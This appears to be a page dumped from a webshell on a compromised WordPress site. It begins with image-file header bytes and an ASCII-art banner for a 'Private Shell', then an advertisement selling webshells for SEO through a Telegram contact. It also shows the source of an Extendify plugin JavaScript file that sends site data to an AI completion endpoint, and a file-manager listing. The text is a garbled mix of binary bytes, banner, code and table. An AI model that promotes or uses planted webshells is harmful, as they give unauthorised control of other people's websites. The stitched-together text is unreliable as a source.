����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { AI_HOST } from '@constants';
import { useAIConsentStore } from '@shared/state/ai-consent';
import { useImageGenerationStore } from '@shared/state/generate-images.js';
import { __ } from '@wordpress/i18n';
// Additional data to send with requests
const allowList = [
'siteId',
'partnerId',
'wpVersion',
'wpLanguage',
'devbuild',
'isBlockTheme',
'userId',
'siteProfile',
];
const { showAIConsent, userGaveConsent } = useAIConsentStore.getState();
const extraBody = {
...Object.fromEntries(
Object.entries(window.extSharedData).filter(([key]) =>
allowList.includes(key),
),
),
showAIConsent,
userGaveConsent,
};
export const completion = async (
prompt,
promptType,
systemMessageKey,
details,
) => {
const response = await fetch(`${AI_HOST}/api/draft/completion`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
prompt,
promptType,
systemMessageKey,
details,
globalState: useImageGenerationStore.getState(),
...extraBody,
}),
});
if (!response.ok) {
throw new Error(__('Service temporarily unavailable', 'extendify-local'));
}
return response;
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Data.js | File | 1.13 KB | 0644 |
|
| WPApi.js | File | 1 KB | 0644 |
|